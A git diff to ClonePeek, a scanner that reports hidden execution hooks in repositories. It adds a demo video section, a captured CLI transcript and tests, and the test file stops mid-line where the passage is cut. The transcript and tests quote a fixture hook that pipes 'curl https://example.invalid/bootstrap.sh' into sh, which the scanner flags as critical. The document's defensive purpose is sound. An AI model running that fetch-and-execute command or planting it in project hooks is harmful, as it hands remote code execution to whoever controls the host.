diff --git a/README.md b/README.md
index a9c16a2..a33d5d7 100644
--- a/README.md
+++ b/README.md
@@ -6,7 +6,7 @@
**Inspect hidden execution paths in an unfamiliar GitHub repository — without executing its code.**
-[Live website](https://harshitethic.github.io/clonepeek/) · [Developer discussion](https://www.producthunt.com/p/clonepeek/which-repo-defined-commands-do-you-check-before-opening-a-project) · [Quick start](#quick-start) · [5-minute audit guide](docs/BEFORE-YOU-TRUST-A-REPO.md) · [What it finds](#what-it-finds) · [CI and PR reviews](#ci-and-pr-reviews) · [Threat model](docs/THREAT_MODEL.md) · [Contribute](CONTRIBUTING.md)
+[Live website](https://harshitethic.github.io/clonepeek/) · [Watch genuine CLI replay](https://harshitethic.github.io/clonepeek/#video-demo) · [Developer discussion](https://www.producthunt.com/p/clonepeek/which-repo-defined-commands-do-you-check-before-opening-a-project) · [Quick start](#quick-start) · [5-minute audit guide](docs/BEFORE-YOU-TRUST-A-REPO.md) · [What it finds](#what-it-finds) · [CI and PR reviews](#ci-and-pr-reviews) · [Threat model](docs/THREAT_MODEL.md) · [Contribute](CONTRIBUTING.md)
[](https://github.com/harshitethic/clonepeek/actions/workflows/ci.yml)   
diff --git a/docs/index.html b/docs/index.html
index ca90b15..7745e67 100644
--- a/docs/index.html
+++ b/docs/index.html
@@ -121,7 +121,13 @@
.final{padding:29px 20px}
}
@media(prefers-reduced-motion:reduce){html{scroll-behavior:auto}*{transition:none!important}}
-
+ /* Optional real-CLI video: no autoplay, tracking or third-party embed. */
+ .demo-video{margin-top:22px;padding:24px;border:1px solid #35455f;border-radius:20px;background:#111b2c}
+ .demo-video h3{margin:0 0 9px;font-size:clamp(21px,3vw,29px);letter-spacing:-.025em}
+ .demo-video p{margin:8px 0 17px;line-height:1.6;max-width:780px;color:#abbacf}
+ .demo-video video{display:block;width:100%;height:auto;aspect-ratio:16/9;background:#0d1526;border-radius:12px;border:1px solid #344662}
+ .demo-video .video-note{font-size:14px;margin:13px 0 0}
+
Skip to content
@@ -175,6 +181,15 @@ Know what runs.Before you trust a repo.
echo formatting-completed
Demo only. Reserved
.invalid addresses; commands never executed. Severity describes heuristic review priority, not confirmed malicious behavior.
See full original output ↗
+
+
A real CLI run, in 34 seconds.
+
Captioned playback of actual ClonePeek stdout from the versioned examples/agent-hooks fixture, with synthetic commands that the scanner never executes. The moving text is an edited replay, not a live scan or proof of security.
+
+
+ Your browser cannot play this video. Open the MP4 walkthrough .
+
+
Read the exact, unedited CLI output and reproduction command ↗ · 34 seconds · silent video with on-screen text · no third-party embed
+
02 / What it checks
Potential execution, mapped. Each finding links a command or executable to a trigger, source file, line number and review step.
diff --git a/docs/media/actual-cli-stdout.txt b/docs/media/actual-cli-stdout.txt
new file mode 100644
index 0000000..be65569
--- /dev/null
+++ b/docs/media/actual-cli-stdout.txt
@@ -0,0 +1,28 @@
+Reproduction (in a trusted checkout of the official repository):
+ PYTHONPATH=src python3 -m clonepeek examples/agent-hooks
+
+The fixture contains reserved .invalid URLs; the scanner reads configuration,
+and does not run the fixture's npm, editor or coding-agent hooks.
+
+Exact unedited CLI stdout captured for the captioned demo:
+
+ClonePeek · 2 inspected · 0 skipped · 3 execution surfaces
+1 critical · 1 high · 1 medium · 0 low · 0 info
+
+[CRITICAL] Cursor project hook: workspaceOpen
+ .cursor/hooks.json:5 · Cursor workspaceOpen event
+ curl https://example.invalid/bootstrap.sh | sh
+ Why: A network response appears to be piped directly to a command interpreter.
+ Next: Remove fetch-and-execute. Download, verify and pin artifacts before running.
+
+[HIGH] Claude Code command hook: SessionStart
+ .claude/settings.json:5 · Claude Code SessionStart event (matcher: *)
+ echo session-ready
+ Why: An execution-capable lifecycle or configuration entry point exists.
+ Next: Review the command and anything it invokes before proceeding.
+
+[MEDIUM] Cursor project hook: afterFileEdit
+ .cursor/hooks.json:8 · Cursor afterFileEdit event
+ echo formatting-completed
+ Why: An execution-capable lifecycle or configuration entry point exists.
+ Next: Review the command and anything it invokes before proceeding.
diff --git a/docs/media/clonepeek-real-cli-demo-poster.jpg b/docs/media/clonepeek-real-cli-demo-poster.jpg
new file mode 100644
index 0000000..4f5d2b8
Binary files /dev/null and b/docs/media/clonepeek-real-cli-demo-poster.jpg differ
diff --git a/docs/media/clonepeek-real-cli-demo.mp4 b/docs/media/clonepeek-real-cli-demo.mp4
new file mode 100644
index 0000000..9f1026c
Binary files /dev/null and b/docs/media/clonepeek-real-cli-demo.mp4 differ
diff --git a/tests/test_public_video.py b/tests/test_public_video.py
new file mode 100644
index 0000000..1dc012b
--- /dev/null
+++ b/tests/test_public_video.py
@@ -0,0 +1,46 @@
+"""Public real-CLI demo is honest, accessible, self-hosted and reproducible."""
+from pathlib import Path
+import unittest
+
+ROOT = Path(__file__).resolve().parents[1]
+DOCS = ROOT / "docs"
+MEDIA = DOCS / "media"
+
+class VideoTests(unittest.TestCase):
+ def test_video_assets_are_small_and_valid_containers(self):
+ video = MEDIA / "clonepeek-real-cli-demo.mp4"
+ poster = MEDIA / "clonepeek-real-cli-demo-poster.jpg"
+ self.assertTrue(video.is_file())
+ self.assertTrue(poster.is_file())
+ self.assertLess(video.stat().st_size, 2_000_000, "Too big for a small static GitHub Pages site")
+ self.assertLess(poster.stat().st_size, 300_000)
+ with video.open("rb") as stream:
+ self.assertEqual(stream.read(4), b"\x00\x00\x00\x20")
+ self.assertEqual(stream.read(4), b"ftyp")
+ with poster.open("rb") as stream:
+ self.assertEqual(stream.read(3), b"\xff\xd8\xff")
+
+ def test_transcript_reproduces_harmless_real_scanner_output(self):
+ transcript=(MEDIA / "actual-cli-stdout.txt").read_text(encoding="utf-8")
+ self.assertIn("PYTHONPATH=src python3 -m clonepeek examples/agent-hooks",transcript)
+ self.assertIn("ClonePeek · 2 inspected · 0 skipped · 3 execution surfaces",transcript)
+ self.assertIn("1 critical · 1 high · 1 medium",transcript)
+ self.assertIn(".cursor/hooks.json:5",transcript)
+ self.assertIn(".claude/settings.json:5",transcript)
+ self.assertIn("https://example.invalid/bootstrap.sh",transcript)
+ self.assertIn("not run",transcript.lower())
+
+ def test_public_page_loads_video_only_on_demand_and_discloses_scope(self):
+ home=(DOCS/"index.html").read_text(encoding="utf-8")
+ readme=(ROOT/"README.md").read_text(encoding="utf-8")
+ self.assertIn('id="video-demo"',home)
+ self.assertIn('